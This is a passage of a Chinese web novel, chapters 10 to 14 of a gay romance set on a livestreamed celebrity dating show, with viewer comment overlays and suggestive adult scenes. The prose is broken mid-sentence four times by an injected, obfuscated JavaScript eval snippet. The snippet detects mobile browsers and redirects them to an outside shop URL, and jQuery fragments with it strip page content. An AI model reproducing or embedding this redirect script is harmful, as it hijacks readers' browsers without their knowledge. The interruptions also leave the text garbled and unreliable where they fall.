“你好,”季沨伸出手来跟他握了一下,“不用叫我前辈,你们现在可比我们那时候要火得多,青出于蓝啦。” 既然是人设,季沨也无意拆穿,只是他们俩都做不到叶辞归那种碰一本哲学书还能坐得安安静静不犯困的,手机又不让拿,季沨猜初禾也无聊,于是问道:“想不想出去走走?” 可太他妈想了! 季沨不来他简直快要憋死了,初禾心里恨不得现在飞出去,面上却一副腼腆的样子:“好,好啊!” 二人走到玄关去换鞋,上方的吊柜打得有点低,容易碰到头,季沨很自然地将手臂往上一搭。 初禾一抬头便看到他护在上方的手掌,淡淡的木香萦绕在鼻腔。 季沨这种知情知意又风流有趣的男人简直是Gay圈极品,也不知道是哪个男人能吃这么好。 室内开着空调不觉得,出了门才发现太阳还是有些大,季沨看到初禾拿手臂遮了一下,于是问他:“要不要打伞?” “啊,”初禾真的很想点头,但是奈何,“没关系的季老师,我不用,我这个人天生就不会晒黑,出门很少打伞的。” 现在的人设都进化到这种程度了吗? 季沨看着他一边拼命解释自己晒不黑脚下一边拼命踩着庭院的一点树荫的样子,有些好笑。 他们那个时候都在拼颜值拼妆造拼唱跳,没想到这一代的用功换了个地方。 可他们却比Butland要火得多。 “好吧,”季沨自己回去取了一把,笑道,“那我还是要打的。” 现在还没到雨季,玄关放的都是遮阳伞,季沨随意选了一把,暖白伞身,木质伞柄,他穿着牛仔外套举着伞出来的时候,初禾一瞬间幻视了自己纯情年代暗恋过的学长。 可惜那学长可没有季沨这么好看的脸。 当然也没有季沨腿长。 那把伞不算小,可是初禾碍于自己腼腆人设的社交距离不敢凑上去,一咬下唇,便看到季沨朝他招招手:“过来。” 他将初禾带到身边:“你猜那是什么鱼?” 节目组找的别墅有点新中式的风格,院子里围假山作了一个池塘,里头养了点观赏鱼。 季沨指着的这一条上半身带着点蓝绿色纵带,从腹部开始的下半身却是红色,颜色看起来丰富漂亮。 初禾对这个不太了解,表情好奇,便听到季沨说:“很朴实,它叫红绿灯。” “红绿是因为它的颜色,叫灯是因为它会发光,布灵布灵的那种,看到了吗?” 阳光这么强,开个手电筒都未必看得清,初禾眨眨眼睛:“真的吗?” “等着,我捞过来给你看看。” 季沨这么说着,很自然地将伞递到初禾手里,自己则是挽起袖口弯下腰,趁着那条红绿灯路过的时候,动作迅疾地一抄。 红绿灯的鱼尾一扑腾,季沨的眉骨上沾了一点水,阳光一打闪闪发亮,站在暖阳里朝着初禾摊开掌心,笑容明媚:“看!” 【啊啊啊啊季沨真的让我反复疯狂心动!】 【草这一幕好有感觉啊,温柔前辈和腼腆小狗我狂吃!这俩到底是不是一对啊!】 【就是啊就是啊,做什么下面,季沨哥哥你的数字真的不能变一下吗?就当是为了我!】 初禾靠近季沨去看,伞面自然地覆盖过两个人的头顶,躺在季沨掌心的小鱼颜色丰富归丰富,可要说是闪闪发亮还算不上。 初禾以为是自己看得不够仔细,于是更加贴近—— 结果季沨指尖一动,红火的鱼尾弹在了初禾的鼻头上。 初禾捂着鼻子瞪大眼睛后退一步,看到季沨脸上露出得逞的笑:“哈哈哈。” 他抬手将鱼放回去,手指插进口袋,恶劣又张扬的模样:“我骗你的啦。” “只有在室内的鱼缸里才能勉强看到那么一点,”季沨一抬下巴,“下回送你两只。” 初禾握着伞柄,觉得自己心跳变得有点快:“季……” “季沨!!” 声音从身后传来,带着气势汹汹的讨伐意味:“你还是这么喜欢欺负人!” “让一个小孩跟你打伞,你丢不丢人!” 傻逼。 “傻逼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223178|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 初禾和季沨同时骂道。 不同的是初禾只是在心里,而季沨是直接骂出了声:“江沼,你能不能把脑浆摇匀了再说话。” “你的脑子是和身高一起限制生长了吗?” 江沼,季沨出道开始注定的对家。 当时两家娱乐公司同时推男团,两个组合从出道站开始就被拉出来相互比较,季沨和江沼还偏偏同为两家的队长——虽然都算不火,但每每同框都是一阵腥风血雨。 后来二人开始单飞挤进一线,演技唱功综艺能力商业价值就更是拿来排成表格分析,江沼直播带货比季沨晚十分钟卖光都能被拿来嘲上一周。 但是奈何这个世界上最了解你的人就是敌人——江沼发育晚,当年出道的时候才178,虽然不算矮,但是在当时平均身高183的男团里就显得格外得鸡立鹤群。 虽然现在狂窜了十厘米,但依然不妨碍季沨拿这个揶揄他。 当然,这些都不是季沨跟江沼不合的主要原因。 更重要的是,江沼恐同。 而他是个天然弯。 “发育晚怎么了!”江沼气得脸红脖子粗,“你以为谁都跟你一样,看到个漂亮男生就走不动道!” “连未成年你都下得……”江沼说到一半,忽然发现季沨旁边站着的那位“未成年”,正是节目组派发给自己的情侣搭档,想起自己的节目任务,江沼瞬间像是喉咙里卡了块鸡骨头,“咳、咳……” 只是这一幕落在观众的眼里,似乎是另一种解读—— 【卧槽!吃醋了吧吃醋了吧吃醋了吧!】 【我就说!相爱相杀才是最香的!从出道就开始的缘分谁懂啊,打情骂俏的死对头不就是用来做情人的吗?】 【感谢节目组感谢节目组,没想到我的邪门CP还能有重见天日的一天,[跪地][磕头]】 江沼清了清嗓子,好半天没想起初禾的名字:“那什么……你过来。” 苍天呐! 初禾在心中一百零八次哀嚎—— 为什么要让他跟这种人分到一组! 但他恐怕是这个节目里咖位最小的,内心翻着白眼,脸上还得笑嘻嘻演情侣:“好,我现在就过去,你不要生气了。” 初禾抬手想把伞还给季沨,看出他脸上那点依依不舍,季沨没接:“你拿着吧,江沼不是从小乐于助人到喜欢帮隔壁队友举杠铃吗?让他给你打。” 遮阳伞被撤走,季沨微微眯了下眼睛,正要离开。 一人迈步从门口走了进来。 陆屿洲这人居然在短短十分钟里给自己换了身衣服——藏蓝色双排扣风衣,黑色长裤和衬衫,手里撑着一把黑伞,一只手插进口袋,气质清冷矜贵,抬眸从庭院走进的时候,像是西方神话里的神明踏进了中式庭院。 【啊啊啊啊啊啊洲洲洲洲!!!】 【卧槽????陆屿洲???他怎么会在这里!是我疯了吗?!】 【救命这个脸这个腿果然超模就是超模啊这真的不是米兰秀场吗啊啊啊啊我死了!】 【不愧是内娱顶级Alpha,陆屿洲你回国简直是造福内娱啊!!!】 【这算是陆哥综艺首秀吧卧槽!居然是演技班!居然是恋综!他要跟谁谈恋爱啊不行我想象不出来啊啊啊啊啊!】 季沨脚步一停,陆屿洲便很自然地将伞倾斜到他的头顶遮住阳光,右手将季沨往自己身边一带。 季沨轻笑了下,鼻尖嗅到他胸口的冷香:“怎么这么晚才过来?” “节目组的人说你刚刚睡觉的时候掉了东西,让我帮你带过来。” 陆屿洲口袋里的那只手伸出来,手掌一翻,一条金属项链垂落下来,询问道:“我来帮你戴?” 季沨微微低下头,陆屿洲的指尖擦过的后颈,有些痒。 两个小时二十分钟跟他们平时差得远,以至于两个人快要结束的时候都有些意犹未尽。 彼此还带着未能完全熄灭的火,这种时候的任何触碰都可能让它死灰复燃。 季沨偏了下头,想让陆屿洲快点戴完。 “别动。” 清冷的嗓音在他的头顶响起,陆屿洲抬手将卡扣锁在一起,余光瞥见季沨衬衫领口下露出的一点红,指腹轻轻地碰了碰。 他似乎丝毫没意识到这里是直播,轻声道:“抱歉,刚刚咬得太用力,好像有点破皮了。” 陆屿洲手指在那个地方轻轻地压了下,语气温和:“疼吗,季老师?” 11. 第十一章 【卧槽!卧槽!居然是记录CP!!妈呀这对的颜值我简直能磕昏过去!!!】 【快醒醒姐妹,星光晚会的时候你是断网了吗?双人红毯都能走成仇人的样子,信他们不如信我是秦始皇!】 【就是啊,还什么咬得有点重,这也太假了吧,难不成他俩刚刚do过ai吗?】 【肯定是节目组设计的出场台词啦,凭我纵横CP圈多年的经验来看,那分明就是蚊子包,再不然就是季沨体质不好长湿疹了,跟吻痕有什么关系。】 “什么红绿灯?”陆屿洲说,“给我也看看。” 比起刚刚连对象都认不出来的江沼,陆屿洲的这个语气其实才更像是吃醋,季沨倒不知道他一个模特演技还这么好,微一挑眉:“你想看?” “嗯。” 季沨笑起来,语气轻佻,“叫声哥哥,我去给你抓。” 陆屿洲垂眸看了他一眼,目光中充满侵略性:“你真的想听?” 他上次露出这个目光,是一个月前剧组的休息室里。 季沨后来走的时候,衬衫上的扣子都少了两颗。 陆屿洲以季沨起码会长长记性,谁知道这人微一眨眼,表情看起来无辜又浪荡:“好啊。” 季沨总是这样没心没肺地撩人,陆屿洲转身欲走,却发现季沨没跟上来,于是回过头。 “等一下,”季沨忽然朝他踏了一步,手掌一伸,那只倒霉地被抓了两次的红绿灯便出现在了掌心,“陆屿洲,快看!” “看什么?” “光啊。” 季沨双手圈在一起,围成一点小小的密闭空间,手心里捧了一点水:“你低头,靠过来一点。” 陆屿洲按他的指示微微垂下头,耳垂和季沨的碰在一起,熟悉的木质香气钻进鼻腔,而自己刚刚才将这身衣服替季沨脱下来。 “看我干什么,”季沨说,“看这里。” 微微的一点荧光从他的掌心里渗透出来,上半部分是明亮的蓝绿纵带,下半部分却从腹部开始蔓延红火,尾巴颤动时光芒闪烁,像是午夜时隐时现的漂亮霓虹。 陆屿洲忍不住想起季沨的眼睛。 “可是刚刚……”刚刚跟初禾说话的时候,不是说没有吗? “因为,”季沨嗓音带笑,热气打在他的耳边,声线撩人,“哥哥只给你一个人看呀。” 【啊啊啊啊啊啊啊季沨好会撩啊啊啊啊啊啊啊好会啊救命!】 【一条鱼撩了两个人,不愧是娱乐圈海王啊季沨!】 【是谁说我哥演偶像剧没有性张力!是谁说我哥演偶像剧没有性张力!】 【我知道了!季沨之前演的都是bg吧卧槽,这换了赛道果然不一样,早点下海说不定金马影帝都拿了吧风~】 【盲生!你发现了华点!】 季沨的指尖因为抓鱼变得湿漉漉,潮湿的水痕落在白皙修长的手指上有种格外的意味,陆屿洲觉得脸颊有些热。 季沨说这样的话……好像只有过自己一个人一样。 他努力地抑制住自己的猜想,垂下的眼睛遮住情绪,拿出纸巾将季沨的手指给他擦干净了。 季沨仔细分辨了一下自己身上到底有没有鱼腥味,怕等会儿情侣互动的时候惹到这位洁癖:“好吧,我等会儿回去就洗手。” 这一点陆屿洲倒是没有说什么,二人一起撑伞往回走,路过玄关收伞换鞋,陆屿洲抬头看见过低的矮柜,很自然地将手搭在了刚刚季沨替初禾挡过的地方,然后才用另一只手去拿拖鞋。 季沨望了一眼没说话,只微微勾了下唇。 由于他们刚刚耽搁了一会儿,他们回来的时候,另外三对都到齐了。 这次节目一共四对情侣,除了初禾和江沼,还有和叶辞归搭戏的一个影帝商序。 虽然说是影帝,但实质上商序已经息影好几年,真要是论上热度和商业能力,恐怕连初禾都打不过,此刻复出,很难说没有借着节目翻红的意思。 另一对则是女性情侣,一个是当红女团的爱豆何皎皎,另一个则是一线小花宋晚,年纪都不大。 之所以都是同性组队,许是他们晚上要跟假对象住在一起,异性演员总归有些不方便,同性你有我都有,演起来没有那么多顾虑。 一看到二人进门,初禾立刻条件反射想拿抱枕挡住脸。 天杀的!他前两天去酒吧一共撩了两个人。 现在这两个人演情侣了! 尽管陆屿洲那天正忙着魂不守舍地借酒消愁,压根就不记得他,初禾也没有想要凑过去的意思。 于是商序先起身伸出手:“陆总。” 他叫的是陆总不是陆老师,乃是因为知道陆屿洲手里万界的股份才是这个圈子真正的凭仗,流量和演员都会被市场淘汰,但是市场本身永远存在。 “嗯。”陆屿洲淡淡地应了声。 他来这里本来就不是为了交朋友,对其他人也没什么热切的态度。 相比之下,季沨那边可要热情得多—— 季沨也是爱豆出身,因此何皎皎一看到他就一副见到偶像的样子:“季前辈!” “我看过你们团的那个《Butterfly》,你舞跳得太好了!真人比镜头上还要好看!” 不管是真的还是演的,这种客套总让人心生好感,季沨笑着应道:“是吗?那你长这么漂亮,是不是你们团的门面啊?” “不是啊季前辈,我是Rapper啦!” “哇!这么漂亮还这么有才华吗?行行好,”季沨语气里带着一点撩人的哀求,“你是要把我们这些前浪都拍死在沙滩上吗?” 何皎皎闻言立刻笑了起来,季沨就是有这种讨人喜欢的魔力,宋晚也笑:“季老师,禁止撩拨我女朋友啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223179|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人顿时笑作一团,刚刚看到发光鱼的好心情消失得无影无踪,陆屿洲微微抿起了唇。 季沨的余光不着痕迹地望了他一眼,微一耸肩,笑道:“怕什么,大家都知道,我喜欢男生的啊。” 几个人干坐着未免无聊,季沨在什么地方都不拿自己当外人,起身看了一圈,打开冰箱将冰镇好的水果端出来:“有人要吃荔枝吗?” 初禾咬咬嘴唇,意识到这是跟季沨搭讪的好时候,正要开口:“季……” “不好意思。”陆屿洲打断他,“能把那边的抱枕递我一下吗?” 季沨一落座,柔软的抱枕跟着妥帖地塞到他的身后,季沨刚要开口说谢谢,便听到陆屿洲对初禾解释道:“他腰不好。” 毕竟刚刚经历过一场剧烈运动。 季沨觉得这话甚至可以当作对男性某些能力的污蔑,只有陆屿洲一脸淡然地从果盘里拿了颗荔枝,问他:“要吃吗?” “我自己来吧,”季沨看他一眼,反驳道,“你臂力不太行,别累着。” 毕竟那场运动的姿势,一半靠他的腰一半靠陆屿洲的手臂。 季沨刚要伸手去拿,陆屿洲却抢先一步:“还是我来吧,”理由简单利落,“你没洗手。” 季沨:…… 这点无法反驳,季沨看着陆屿洲慢条斯理地撕开荔枝的果壳,雪白的果肉露出,修长的手指瞬间变得湿淋淋。 他抬手将果肉递到季沨唇边,长睫低垂,凝视着季沨饱满的嘴唇。 任何人被这张鬼斧神工的脸这样注视都会有些不好意思,但是季沨不会,这种场景他经历过不知道多少次,微一偏头,牙齿咬住果肉,随后,嫣红的舌尖一卷,那颗核便被吐了出来。 自己吃着荔枝的初禾注视着二人诡异的动作,不知道是不是错觉,从他纵横夜场多年的经验来看,这俩人吃个荔枝怎么跟……do过了一样。 错觉吧!肯定是错觉吧! 他们俩不是不合吗? 果然人家是前辈还是有原因的啊,你看看,演技这么好。 陆屿洲又剥了一颗递过去,看着季沨被沾湿的柔软嘴唇,在靠近时轻声道:“原来是荔枝。” 季沨:“什么?” “忘了?”陆屿洲压低声音,眼睛里带着一点撩人的笑,“休息室,导演问你喜欢吃什么?” “没什么,他让我问问你在吃什么?” 陆屿洲沙哑又带着情欲的声音再一次从耳边响起,季沨一瞬间想起了起来……工作人员说的那个椅子是怎么倒的。 而他同样记得下一句,陆屿洲在椅子倒地时便单手将他抱了起来,一只手扣着他的腰,原本只说是用手的地方却跑到他的腿里,贴在他的耳边问:“季沨……你在吃什么?” “咳咳咳……”休息室的画面涌上脑海,刚刚喂荔枝时都面不改色的季沨,一瞬间红了耳朵。 12. 第十二章 季沨稍稍侧了下身将耳朵偏过去,还好他的头发长,就算是有点红也看不出来。 在这个阶段有任何露骨的感情都不行,一个合格的猎物起码要比猎人看起来更加游刃有余,才会让人有征服的欲望。 “谢谢,”季沨宛然一笑,嘴唇是被荔枝汁液沾湿的饱满,“挺甜的。” 陆屿洲近乎赤裸的目光从他的身上收回来,正要再拿一颗。 “不用啦,”季沨挥挥手,“我还是先去洗手吧。” 两个人在沙发上挨得很近,他走过的时候,小腿不可避免地从陆屿洲腿间扫过,像是一点若有似无的暧昧。 季沨没去厨房,而是选了隔间的一个盥洗室,水流刚刚冲过手指,房门咔嚓一声,陆屿洲走了进来。 季沨看了眼他湿淋淋的手指,起身让开位置去擦手,结果刚准备离开,刚刚碰过陆屿洲的小腿就被挡了一下:“别动。” “干什么?” 季沨一抬手,看着陆屿洲拿出一盒药膏来:“给你上药。” 肩上咬破皮的地方恰好在领口,衬衫磨着会疼,陆屿洲将季沨的衣服褪下一点,给他抹了点药,又用创可贴贴上。 刚刚洗过的指尖有些凉,季沨忍不住瑟缩了下:“你现在上药,晚上不做了?” 他们进节目的时候导演就提醒过,晚上是要跟自己分配的搭档共处一室的。 而季沨和陆屿洲共处一室的时候,从来没有过一次安静的夜晚。 陆屿洲微微挑眉,指腹滑过季沨的后颈,声音低沉:“可以做吗?” “你问我?” “嗯,”陆屿洲点头,声音听起来似乎还带着几分乖巧,“我听你的。” 季沨笑了,重复了一遍这句话:“你听我的?” “我强迫过你吗?” 确实没有,不管是“可以吗?”还是“不可以吗?”,陆屿洲永远都是礼貌绅士的。 好像那天季沨说要结束关系时将他拖到沙发上的人不是他一样。 可是季沨偏偏不怎么喜欢他对什么事都这副无所谓的温和样子,挑眉一笑,冰凉的手指陆屿洲的脖颈处一点:“可是……我也没有拒绝过你啊。” 脖颈的那点皮肤泛起无法抗拒的热,陆屿洲喉结一滚,还没来得及动作,季沨便已经收起了手:“刚刚演技不错。” 他瞬间划清了界限,仿佛镜头前的暧昧仿佛只是演出来的一场戏,以至于陆屿洲也有点疑惑,如果季沨真的有演技,当时在杨阶面前为什么不用,那样他也未必需要来这个综艺。 “谢谢,”陆屿洲替他衣服整理好,外套向上拉了拉,领子遮住创可贴的边缘,“你的演技也很好。” 看起来很像是商业互夸的对话,季沨正要走,陆屿洲却忽然开口道: “如果换一个人的话,你还是会这么演吗?” 季沨的脚步顿住了。 他回过头,目光复杂地看了陆屿洲一眼,就在陆屿洲以为他要顾左右言他地敷衍过去时,季沨突然认真道:“不会。” 季沨的声音不大,却足够陆屿洲心神一荡。 但是很快他便又笑了起来,脊背靠着门板,轻轻地眨了下眼睛:“但是不管是谁——” “我都不会输。” * 季沨说完便转身开门,等回到座位上,才发现坐着的几人脸色似乎都不太好的样子。 “怎么了?”季沨问。 “别提了,”何皎皎垂头丧气捧着脸,示意他去看看节目组刚刚送过来的卡片,“导演说,午饭要我们自己做。” 季沨拿起来,陆屿洲凑过来贴着他一起看:“为了考察各位的综合素质能力,午饭需要各位自行准备,冰箱里有备好的食材。” “本期表演任务为主题型,将围绕具体主题发布任务。考核题目将在用餐后发布,祝各位用餐愉快。” “综合素质能力?不想给我们花钱叫餐就直说啊,”江沼愤愤道,“我中学老师让给他办公室搬桌子的时候也说要培养我的综合素质能力呢。” “行了,没人关心你有没有素质好吗,”季沨望了一眼众人,“所以……有人会做饭吗?” 被问到的七人齐齐沉默下来。 “我反正不会……”何皎皎年纪最小,“我从小到大都是吃食堂的。” “我也不会,”宋晚说,“我一般都吃剧组的盒饭。” 季沨看了初禾一眼。 “那个,”初禾弱弱道,“我跟皎皎是一个公司的,我们的公司食堂……很好吃。” “别看我!”江沼对季沨那双眯着笑的桃花眼过敏,“我要是会做饭,当年能因为跟你在训练营抢零食上热搜吗?!” 得,那就是都不会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223180|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季沨望向一旁的商序:“那商影帝……” “鸡蛋挂面算吗?”商序摸了摸鼻子,“不过我只做过一次,好像还把蛋壳打了进去。” 旁边坐着的叶辞归发出一声毫不掩饰的轻嗤。 “小辞也不会,”还没等季沨问,商序就帮他答了,“我煮面的时候让他帮我带把韭菜,他给我买成蒜苗了。” 【哈哈哈哈真的吗?耶耶真的认不清吗,好可爱哈哈哈!】 【商序说这话的时候好自然啊卧槽,这就是影帝的演技吗?不知不觉就把故事放在细节里了。】 【感觉很有老夫老妻感哎。】 【加一,不过这对要是老夫老妻的话,记录那对肯定是热恋了,季沨讲话的时候陆屿洲的眼珠子都快黏在他身上了吧!】 “好吧。”六个人都不会,而陆屿洲这种公子哥家世很明显比他们都要显赫,估计从小就是保姆做的,季沨叹口气,认命地站起了身:“你们想吃什么?有忌口吗?” 他说着看了眼冰箱:“有牛肉、鸡蛋、青笋、豆芽……” “你们能吃辣吗?不然我做个水煮牛肉?” 【啊???季沨居然会做饭?!】 【淦我也难以置信,主要是我老婆这张脸长得太漂亮了,我实在不能想象他出现在灶台边的样子,会给我一种偶像剧摆拍的感觉。】 【而且水煮牛肉不太好做啊,要煮高汤还要炒酱料滚热油什么的,要想做得好吃很考验功底的,季沨能行吗,不会待会儿翻车吧?】 “不好意思季哥,”何皎皎小声道,“我这两天有点不舒服,不太能吃辣。” “行,”季沨点头表示理解,“那我给你炒个青笋,这里面还有两个番茄可以做个炒蛋,等会儿你就不要喝饮料了,我给你煮个红糖姜茶吧。” 他说完,又望向宋晚:“晚晚要吃什么?” 陆屿洲有点不满他对两个女生的热情,难道取向男只是他撩妹的掩护吗,抿唇道:“你怎么不问问我?” “你?” 想起之前那颗荔枝和休息室里的话,季沨眉头一挑,忽然轻轻笑了下。 他的笑容里满是轻佻和暧昧,偏长的头发垂落在肩头,陆屿洲几乎立刻被拉回刚刚在休息室的场景,却看到季沨抬手拍了拍他的脸颊:“你吃什么……” “难道不是我说了算吗?” 13. 第十三章 【啊啊啊啊啊啊季沨刚刚真的是苏死了苏死了苏死了!】 【不好意思我要倒台了!哪一个颜狗能拒绝这一对的颜值呢!】 【身材也好配啊淦!季沨这个身高很少有人能压得住他的,但是我们超模洲洲就刚刚好!】 【压得住?你确定吗?陆屿洲刚刚耳朵都红了吧,淦这真的不是女王和小狗吗我吃一口吃一口吃一口!】 陆屿洲平复了一下呼吸。 他当然知道季沨说的这句话并不是简单地吃饭…… 可惜季沨红耳朵有头发遮,他却没有。 日常清冷的脸配上通红的耳朵有种别样欲望感,像是被人弄脏了的白色雕塑。 季沨总是很有本事撩拨他,原本要起身的陆屿洲只能原地坐了一会儿,慢慢平复身体的异样。 另一边的季沨已经起身去准备,刚刚打开冰箱,另外几个人就围了上来:“择菜洗菜什么的就我们来吧季老师,”宋晚说,“这个我还是会的!” “切菜我也会一点,”商序自告奋勇,“虽然外貌不是很好。” “有的吃就行,这还挑什么,”吃人嘴软,江沼这时候倒没跟季沨呛声,“你看看有没有什么要买的?” 季沨没跟他们客气,三年的队长生活让他很擅长给人发布任务,除了生理期的何皎皎被勒令休息,宋晚去洗菜,叶辞归和商序去给番茄去皮,江沼去买饮料,季沨看了眼初禾,知道他俩现在是一对:“你要跟他一起吗?” “不用。” “不用!” 江沼和初禾异口同声,虽然他们四对都是演情侣,但是这个显然更像是……马上要分手的。 “我留在这里给你打下手吧季老师,”初禾拿起旁边的鸡蛋,“这个鸡蛋要打了吗?” 季沨点点头,但也没对初禾表现很亲密,检查完调料和锅具,便拿了刀开始切宋晚递过来的青笋。 直到这个时候,众人才意识到季沨那句会做饭所言非虚——他的指腹按着刀柄上,手腕抖落不停,刀身在镜头前只剩下一点残影,切到尾端,季沨手腕一翻便落进盘中。 白色瓷盘里,青笋排列整齐,薄厚均匀,连形状都是漂亮的菱形。 【卧槽!季沨这个刀工!这没个几年厨艺做不出来吧!】 【太牛了太牛了!这得是去米其林进修过吧!】 【我也想老婆给我做饭吃呜呜呜!!!】 【话说陆屿洲呢,所有人都有任务,他怎么什么事儿也不做啊。】 【都说了他跟季沨关系其实不怎么样了,按照剧本发发糖就行了,怎么会值得我们少爷顶着油烟味进厨房呢?】 不过发布任务的季沨似乎也没有要麻烦陆屿洲的意思,分明是开放式厨房,可他连个眼神都没有陆屿洲一个。 真正的猎物是从来不会主动的。 季沨处理完青笋便开始料理一旁的配菜,顺带将等会儿用的青椒切了下。 只是这个辣椒可能是川渝特产,有些格外地辣,气息呛到鼻腔,季沨刚切了两下就忍不住咳嗽起来:“咳咳咳……” 沙发的人被声音惊动,瞬间抬起了头。 “没事儿吧季老师?” 旁边的初禾赶紧去拿纸巾,还没碰到季沨,一人就姿态强硬地插了进来。 陆屿洲一只手将季沨往自己怀里一拉,沾了水的纸巾按上他的眼角:“闭眼。” 生理性的泪水让季沨眼尾绯红,睫毛不停地颤动着,蝴蝶一样,陆屿洲刚刚平复好的躁动似乎又有些死灰复燃,声音微哑:“好点了吗?” “嗯。” 季沨声音含混,摆摆手睁开眼睛,漂亮的桃花眼里泪水朦胧。 “没想到这个会这么辣,”他似乎没当回事,“我把籽去一下再切吧。” “等一下。” 季沨刚要走,却被人揽着腰身往后带了一下。 陆屿洲高大的身影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223181|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎隔绝了初禾窥伺的视线,手指滑到季沨的腰后,灵活地将围裙的结给解开,握着季沨的腰帮他重新拉了一下,让系带不偏不倚地卡在腰窝,系好后才解释道:“歪了。” “强迫症。”季沨说。 “你不是吗?”陆屿洲下巴一抬,示意他盘子里薄厚一致摆放整齐的青笋。 那只是因为自己在火锅店里打过工,季沨想。 如果你每天早上四点就要起床切菜备菜,同时拥有一个发现青菜的朝向不对都要扣钱的领班的话,不出三个月,你也会拥有这样的刀工的。 但是陆屿洲这种出生在罗马的少爷当然体会不了他这种民间疾苦,因此季沨只是笑了下没说话,准备将刚刚的辣椒给处理完。 可还没过去,陆屿洲居然抢先一把将刀拿了起来。 刀身从辣椒中间划了一道,留下整齐的断开,陆屿洲剥开籽,两三下切好放在一边,随后又换了把刀,拿起了季沨放在一旁的牛肉。 季沨这才发现陆屿洲不知道什么时候将风衣给脱了,衬衫的漆黑袖箍束着紧实的手臂肌肉,模样像个冷漠英俊的外科医生,刀身从牛肉边缘划过,留下整齐的断口。 他的动作不像季沨那样炫技的快,可是不一会儿,牛肉便被片成了均匀薄层。 季沨讶异地看了陆屿洲一眼:“你会做饭?” “嗯。” 陆屿洲找了个长盘,将片好的牛肉规则地摆放在上面,跟季沨切好的青笋放在一起,一红一绿色泽漂亮,看起来马上就能端去火锅店上菜。 “那你刚刚……” 刚刚问的时候怎么不说。 “不想做。”陆屿洲语气淡漠,其中还夹杂着那么几分对季沨跳出来的抱怨,因为就算他们真的都不会做饭,节目组总不会看着他们饿着。 这想法确实很陆屿洲,以至于让季沨觉得他接下来的一句都多了几分真实: “但也不想看你一个人做。” 14. 第十四章 【卧槽啊啊啊啊!!!!陆屿洲好苏啊妈呀老夫的心脏病要犯了!】 【节目组这个台本也太会写了吧!好自然卧槽,而且陆屿洲演技真的好好啊!】 【感谢二位提供给我高质量偶像剧,信女愿一生荤素搭配(双手合十)】 【人生第一次get到季沨的演技,你给我焊死在bl赛道好吗!!!】 #季沨:你吃什么我说了算# #陆屿洲:不想看你一个人做# #记录CP# #陆屿洲演技# …… 恋综直播刚两个小时,已经上了好几个热搜,盯直播的莫可看着不断飙升的话题讨论度,端着电脑来到郁容面前:“郁哥,我们要帮忙加热度吗?” “陆屿洲那边怎么说,”郁容问,“有炒CP的意向吗?” “刚刚打电话问了,他经纪人说,是陆屿洲自己要上这节目的,他并不知情。” “不知情?”郁容匪夷所思,“他一个经纪人,艺人要从模特转演员这么大的事情他都不知道吗?!” “那郁哥……我们这边?” “加!”郁容肯定是以季沨的利益为先,陆屿洲这个咖位又不存在会占季沨的便宜,“不过让他们把话题不要围着两个人走,跟宣传说,让他们把重点放在季沨的演技提升和新戏的宣发上。” “哦对了,把他之前演过的偶像剧做个甜度集锦出来,找几段演技好的片段。” 莫可一边点头一边拿笔记录:“郁哥,这个是……?” “给他塑造一个风流貌美公子哥的人设啊,以后好接偶像剧,提前上上眼药,也方便拆CP。” “可是季哥不是说了不立人设吗,我们这样做了,回头他下了节目生气怎么办?” “他本来不就是这样的人吗?我又没冤枉他,”郁容抬手一指屏幕,“之前还说跟陆屿洲不认识呢,这才见了俩小时吧,就能摸着人脸撩起来,他不渣谁渣。” 莫可心里是完全偏向季沨的:“话也不能这么说,那陆老师也算不上什么好人吧,这才俩小时,他连我们季哥的腰都搂上了。” 对哦,郁容想,可陆屿洲以前出场都是一副拒人千里的冷淡模样,也没看格外喜欢对谁动手动脚啊? 那他跟季沨…… 郁容恍然大悟一拍桌子:“跟宣传说,让他们把陆屿洲演技的热搜给我压下去!” “啊?为什么?” “这小子演技太好了,”郁容严肃道,“得提前帮你们季哥防爆。” * “我来吧。” 